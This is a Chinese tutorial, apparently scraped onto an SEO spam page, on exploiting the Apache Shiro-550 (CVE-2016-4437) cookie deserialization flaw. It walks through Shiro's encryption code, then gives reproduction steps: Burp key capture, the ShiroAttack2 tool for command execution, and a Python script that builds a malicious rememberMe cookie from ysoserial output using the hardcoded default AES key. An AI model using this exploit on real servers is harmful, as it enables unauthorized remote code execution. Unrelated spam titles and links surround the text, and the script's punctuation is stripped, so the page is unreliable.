当前位置: 首页 > news >正文

传奇网站怎么制作教程网站开发 策划是干嘛的

传奇网站怎么制作教程,网站开发 策划是干嘛的,网站建设售后服务承诺函,wordpress表单拖拽文章目录 漏洞原理源码分析加密过程解密过程 漏洞复现 漏洞原理 Shiro-550(CVE-2016-4437)反序列化漏洞 在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了#xff0c;并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie#xff0c;然后让后台最… 文章目录 漏洞原理源码分析加密过程解密过程 漏洞复现 漏洞原理 Shiro-550(CVE-2016-4437)反序列化漏洞 在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。 注想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥或直接使用默认密钥后面就是反序列化漏洞。 源码分析 加密过程 约定假设传入的用户名是root 1.入口在onSuccessfulLogin函数 2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe我们为了能够进行攻击的话肯定是需要勾选的并且可以看到返回true进入if后会执行rememberIdentity函数那么这里就正式开始漏洞剖析了。 3.跟进rememberIdentity函数会发现他会用你登录信息来生成一个PrincipalCollection对象 注意这里传入的是你输入的用户名root 注意我们这里需要跟进rememberIdentity函数里的rememberIdentity函数 进去后你会发现两个函数这里两大分支 convertPrincipalsToBytesrememberSerializedIdentity 说明我们先跟踪convertPrincipalsToBytes但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity 。 4.接着跟进convertPrincipalsToBytes发现这里就是对用户名root先进行了一个序列化功能接着如果if成立就进去encrypt加密那么这两点说的就是整个漏洞的核心。 序列化加密 但是我们要进行攻击的话就要进一步了解如何加密的到时候攻击的话序列化就编写对应的代码即可但是加密过程我们是需要知道的最好是能拿到他的密钥。 5.那么接着肯定要跟进serialize函数再进去就没啥好看的了知道他对用户名进行了一个序列化过程即可。 6.接着就要回过头来看convertPrincipalsToBytes函数序列化完成后下面有个getCipherService函数是用来获取加密方式的。 这里很重要if判断和if里面的加密函数跟进后会获取到劲爆信息。 7.开始跟进getCipherService函数 开幕雷击重要信息1 可以悬停看到他的加密方式AES模式 8.判断成功找到加密模式后接下来就是进入if里面进行encrypt加密了 跟进后发现有做if然后才开始进行加密if肯定能进去刚刚才拿到了加密模式 9.这里根据执行优先级先跟进getEncryptionCipherKey方法 这个getEncryptionCipherKey就是最劲爆的获取加密密钥赶紧跟进一探究竟 直接返回了encryptionCipherKey加密密钥就是他那么肯定要找到他的setter方法但是这里我决定不深入了因为我们已经知道该方法是拿到加密密钥即可 最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES值 10.书接上回getEncryptionCipherKey获取加密密钥成功了接着就轮到encrypt加密了但是这里我就不继续跟进了因为已经知道了加密方式和密钥了。 11.退出后接着就是 rememberSerializedIdentity 不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity 12.跟进 rememberSerializedIdentity 函数 里面的都不管了直接看重要的信息那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码这里使用了base64加密然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。 加密总结 对cookie进行序列化 ↓ AES加密密钥可碰撞拿到/用常用默认密钥 ↓ base64加密 ↓ 完成加密设置cookie字段 解密过程 解密过程其实就和上面加密相反我更认为通过加密来理解漏洞更让人深刻所以解密过程就是 解密总结 hacker 传入恶意payload放在cookie的rememberMe字段中 ↓ 服务端 base64解密 ↓ 服务端 AES解密密钥可碰撞拿到/用常用默认密钥 ↓ 服务端 反序列化数据攻击成功 那么其实最终要的就是获取秘钥和生成恶意payload这两点就在下面漏洞复现来展开。 漏洞复现 1.抓取加密密钥 可以通过burpsuite插件安装来被动获取 https://github.com/pmiaowu/BurpShiroPassiveScan/releases 插件安装完成后就可以抓包方包看看 最后在目标那里就能够看到抓到的密钥了 2.生成payload进行攻击 这里就先介绍集成工具使用直接一步到位。 本来想着用ysoserial但是问题多多使用起来比较麻烦。 建议使用该工具来的快 https://github.com/SummerSec/ShiroAttack2/releases 使用方法也很简单运行jar包命令java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar 将你的url放在目标地址上即可 先点爆破密钥回显日志中有打印找到key 接着再点爆破利用链即可 接着来到命令执行这里随便执行命令了 同时你还能添加更多的key进字典里面字典在data目录下。 下面这种生成payload方式可看可不看如果你很懂ysoserial就用下面这个确实ysoserial很强就是比较麻烦。 网上有现成脚本改成你自己的dnslog域名 这个脚本我只测试了dnslog是成功的 这个方法有缺点需要你当前目录下要有ysoserial.jar同时我试了其他gadget都失败了执行不了命令不知道哪里出错了还是咋滴建议不用修改其他东西只修改dnslog域名获取到payload放到cookie那里发包过去探测存在漏洞即可。 请自行下载jar包放在同脚本目录下才能用下面脚本https://github.com/frohoff/ysoserial/ 接着运行脚本 拿到payload 接着放到cookie里面记住一定要放到cookie里面因为反序列化就是通过cookie反序列化的。 接着查看dnslog就会发现触发成功 下面就是脚本源码千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。 import base64 import uuid import subprocess from Crypto.Cipher import AESdef rememberme(command):# popen subprocess.Popen([java, -jar, ysoserial-0.0.6-SNAPSHOT-all.jar, URLDNS, command], stdoutsubprocess.PIPE)popen subprocess.Popen([java, -jar, ysoserial.jar, URLDNS, command],stdoutsubprocess.PIPE)# popen subprocess.Popen([java, -jar, ysoserial-0.0.6-SNAPSHOT-all.jar, JRMPClient, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key kPHbIxk5D2deZiIxcaaaAmode AES.MODE_CBCiv uuid.uuid4().bytesencryptor AES.new(base64.b64decode(key), mode, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:# payload encode_rememberme(127.0.0.1:12345)# payload rememberme(calc.exe)payload rememberme(http://xxxx.ceye.io)with open(./payload.cookie, w) as fpw:print(rememberMe{}.format(payload.decode()))res rememberMe{}.format(payload.decode())fpw.write(res)参考文章 https://xz.aliyun.com/t/11633 https://www.anquanke.com/post/id/225442 https://www.cnblogs.com/z2n3/p/17206671.html
http://www.tj-hxxt.cn/news/132529.html

相关文章:

  • 网站建设 加盟网站建设需要怎么做
  • 注册服务器网站哪个好phpcms做装修网站
  • 怎样给网站做优化中国建筑集团有限公司排名
  • jsp mysql 网站开发百度收录网站要多久
  • 用php做的网站模版采集网站开发
  • 劳务 东莞网站建设网站建设 苏州
  • 制作网站需要哪些素材营销型网站制作多少钱
  • 网站seo排名优化方法域名注册多少钱
  • 曲靖网站推广做哪方面的网站好呢
  • 罗湖商城网站设计0735郴州招聘信息网
  • 更新网站内容有什么用互联网站备案表
  • 自己可以建设网站吗微信扫码即可打开的网站如何做
  • 免费刷粉网站推广设计公司展厅装修
  • 网站建设微信公众号广告片拍摄制作公司
  • 建设一个下载资料的网站企业网站模板 首页大图
  • 专业网站设计公司个人简历word可编辑免费
  • 网站含中国的备案小程序商城推广哪家好
  • 官网网站搭建需要多少钱网站被墙查询
  • 网站链接推广怎么做杭州做网站hzyze
  • 汉中专业网站建设服务佛山新网站建设报价
  • 石家庄网站开发哪家好wordpress 图片选择器
  • wordpress课件站模板android应用开发期末考试题
  • 自己做的网站打开空白汕头免费建站哪里有
  • 深圳网址网站建设公司福州市有哪些制作网站公司
  • 国内工程机械行业网站建设现状html制作网页的代码
  • 好看的网站都找谁做的手机网站建设czyzj
  • net实用网站开发酒泉市住房和城乡建设局网站
  • 专业建筑工程网站移动宽带
  • 做设计做网站信息技术制作网站首页
  • 网站的空间和域名是啥湖北联诺建设网站